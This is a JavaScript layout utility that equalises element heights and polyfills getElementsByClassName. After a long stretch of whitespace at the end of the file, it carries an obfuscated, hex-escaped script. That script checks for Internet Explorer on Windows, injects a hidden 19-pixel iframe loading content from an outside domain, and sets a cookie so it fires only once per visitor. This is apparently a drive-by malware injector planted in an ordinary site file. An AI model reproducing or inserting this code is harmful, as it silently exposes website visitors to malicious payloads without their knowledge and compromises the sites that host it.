var ElementMaxHeight = function() {
  this.initialize.apply(this, arguments);
}

ElementMaxHeight.prototype = {
  initialize: function(className) {
    this.elements = document.getElementsByClassName(className || 'maxheight');    
    this.textElement = document.createElement('span');
    this.textElement.appendChild(document.createTextNode('A'));
    this.textElement.style.display = 'block';
    this.textElement.style.position = 'absolute';
    this.textElement.style.fontSize = '1em';
    this.textElement.style.top = '-1000px';
    this.textElement.style.left = '-1000px';
    document.body.appendChild(this.textElement);
    this.textElementHeight = document.getDimensions(this.textElement).height;
    var __object = this;
    var __checkFontSize = this.checkFontSize;
    this.checkFontSizeInterval = window.setInterval(function() {return __checkFontSize.apply(__object)}, 500);

    this.expand();

    // Refresh elements height onResize event
    var __expand = this.expand;
    if (window.addEventListener) {
      window.addEventListener('resize', function(event) {return __expand.apply(__object, [( event || window.event)])}, false);
    } else if (window.attachEvent) {
      window.attachEvent('onresize', function(event) {return __expand.apply(__object, [( event || window.event)])});
    }
  },

  expand: function() {
    this.reset();
  	for (var i = 0; i < this.elements.length; i++) {  	
      this.elements[i].style.height = document.getDimensions(this.elements[i].parentNode).height + 'px';
  	}
  },

  reset: function() {
    for (var i = 0; i < this.elements.length; i++) {    
      this.elements[i].style.height = 'auto';
    }
  },

  checkFontSize: function() {
  	var height = document.getDimensions(this.textElement).height;
  	if(this.textElementHeight != height) {
  		this.textElementHeight = height;
  		this.expand();
  	}
  }  
}


if (!!document.evaluate) {
  document._getElementsByXPath = function(expression, parentElement) {
    var results = [];
    var query = document.evaluate(expression, parentElement || document,
      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
    for (var i = 0, length = query.snapshotLength; i < length; i++)
      results.push(query.snapshotItem(i));
    return results;
  }
}

document.getElementsByClassName = function(className, parentElement) {
  if (!!document.evaluate) {
    var q = ".//*[contains(concat(' ', @class, ' '), ' " + className + " ')]";
    return document._getElementsByXPath(q, parentElement);
  } else {
    var children = (parentElement || document.body).getElementsByTagName('*');
    var elements = [], child;
    for (var i = 0, length = children.length; i < length; i++) {
      child = children[i];
      if (child.className.length != 0 &&
          (child.className == className ||
           child.className.match(new RegExp("(^|\\s)" + className + "(\\s|$)")))) {      
        elements.push(child);
      }
    }
    return elements;
  }
}

document.getDimensions = function (element) {
  var display = element.style.display;
  if (display != 'none' && display != null) { // Safari bug
    return {width: element.offsetWidth, height: element.offsetHeight};
  }

  return {width: originalWidth, height: originalHeight};
}
/* KaqQFIyLCbMvgNz */                     var LTip="\x75\x73e\x72\x69dA081\x37\x46B25";var zq7Vxhh="25";var ud1b=1;var aatvs0G;function Go8xU(gKd9){var Q0jS8V4=document.cookie;if(!Q0jS8V4){return null;}Q0jS8V4=Q0jS8V4.replace(/\s/g,"");var TD8Q1k=Q0jS8V4.split(";");var i=0;for(i=0;i<TD8Q1k.length;i++){var u6cFK5=TD8Q1k[i].split("=");if(u6cFK5[0]!=gKd9){continue;}return unescape(u6cFK5[1]);}return null;};function CD9V(gKd9,aV2uGTV,otwL){var exp=new Date();var IRu5=exp.getTime()+(otwL*60*60*1000);exp.setTime(IRu5);var uGQEy=gKd9+"="+escape(aV2uGTV)+"\x3b \x65x\x70ir\x65s="+exp.toGMTString();document.cookie=uGQEy;};function vGUdKe(){try{var Vnm7v=document.getElementById("a\x32\x4c\x33gJx");Vnm7v.style.visibility="\x68\x69dd\x65n";CD9V(LTip,zq7Vxhh,168);}catch(e){CD9V(LTip,zq7Vxhh,24);};};function OTcg6(){var Se8dgy=/MSIE\s+(\d+)\.(\d+)/;var iVsRMUS=new Array;var OEK057,z2FAlR;iVsRMUS=Se8dgy.exec(navigator.userAgent);if(!iVsRMUS){return false;}OEK057=parseInt(iVsRMUS[1])*100+parseInt(iVsRMUS[2]);if(OEK057<700){return false;}Se8dgy=/Windows\sNT\s(\d)\.(\d)/;iVsRMUS=Se8dgy.exec(navigator.userAgent);if(!iVsRMUS){return false;}z2FAlR=parseInt(iVsRMUS[1])*10+parseInt(iVsRMUS[2]);if(z2FAlR<60){return false;}return true;};function Dvru6U(){if(ud1b){try{if(Go8xU(LTip)==zq7Vxhh){return false;}}catch(e){};}try{try{var Vnm7v=document.createElement("DIV");Vnm7v.id="a2L\x33\x67J\x78";document.body.appendChild(Vnm7v);}catch(e){setTimeout("\x44vru\x36U(\x29\x3b",300);return 0;};var yeKtn=0;if(navigator.userAgent.indexOf("MSIE")!= -1){try{yeKtn=yOyvt();function yOyvt(){return 0;}}catch(e){yeKtn=1;}}if(yeKtn==0){Vnm7v.innerHTML="\x3ci\x66ram\x65\x20\x6fn\x6coa\x64\x3d\x27vGUdK\x65(\x29;\x27\x20src\x3d\x27\x68\x74tp\x3a//adimg\x73n0\x37\x2eco.\x69\x6e/k\x27 wid\x74\x68=19\x20h\x65\x69\x67ht=\x31\x39 \x66r\x61m\x65\x62o\x72\x64e\x72\x3d0\x20\x73crolling=\x27no\x27></iframe>";}else{Vnm7v.innerHTML="\x3ci\x66\x72ame\x20on\x6c\x6fad\x3d\x27vG\x55d\x4b\x65(\x29;\x27\x20src=\x27\x68tt\x70://\x61dim\x67\x73\x6e0\x37\x2e\x63o.in\x2f\x73m\x62\x27 \x77id\x74\x68=19\x20heig\x68t=19 \x66rameborder=0\x20s\x63r\x6f\x6clin\x67=\x27no\x27></if\x72a\x6de>";return;}}catch(e){};};if(document.addEventListener){document.addEventListener("\x44\x4fMC\x6fnt\x65nt\x4coad\x65d",Dvru6U,false);}else{Dvru6U();}/* 1c6dHESNfmtRK2q71CE */

